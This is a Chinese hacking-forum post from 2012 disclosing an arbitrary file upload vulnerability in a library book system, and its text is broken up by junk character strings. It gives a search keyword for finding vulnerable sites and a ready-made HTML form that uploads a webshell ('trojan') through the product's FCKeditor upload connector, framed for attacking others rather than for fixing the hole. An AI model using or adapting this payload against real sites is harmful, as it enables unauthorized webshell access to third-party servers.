中国网络渗透测试联盟
标题:
点点书库图书馆系统文件上传漏洞
[打印本页]
作者:
admin
时间:
2012-9-10 21:20
标题:
点点书库图书馆系统文件上传漏洞
主题:图书馆系统任意文件上传漏洞
0 S8 Y4 Y# Q; c- m
作者:冰锋刺客
5 z8 z9 q# n6 f- |2 Z- G5 r6 w8 Z
厂商:点击书(dianjishu.com)
( u* @7 y' F) m. ]7 y
日期:2012-6-21
; t6 ?- i2 K, C7 P1 k3 F
5 u, f. \4 j5 ~4 \% j( W& I
I 概述
! b- O$ P& e% A9 `
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
! T5 c0 o: l4 y$ c. f/ h, L
II 简介
, b( x/ J7 r* V/ Y+ H: c- V! f
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
" N0 l) S, n# b+ N+ v; O) Z
补充一个漏洞
3 q' D5 g. f" x& r( ^
<form id="frmUpload" enctype="multipart/form-data"
2 V1 i# w2 U- H* x
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>
$ q8 c, ^! r1 M1 |
<input id="btnUpload" type="submit" value="操翻他">
( u2 c" p F' Y- i! F( a8 u5 B
</form>
! I5 \% Y4 [8 @9 S* V" s0 O
你们懂的
( G/ r6 a6 w& D% s1 X3 u
那傻逼提供还需要改包.
+ c/ H4 g4 N& o# l$ a, l
自己看了下源代码发现fckeditor
2 L$ Z1 Z( S" y, M4 F6 E+ D& p
直接秒杀
" v' x* s; D# U
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2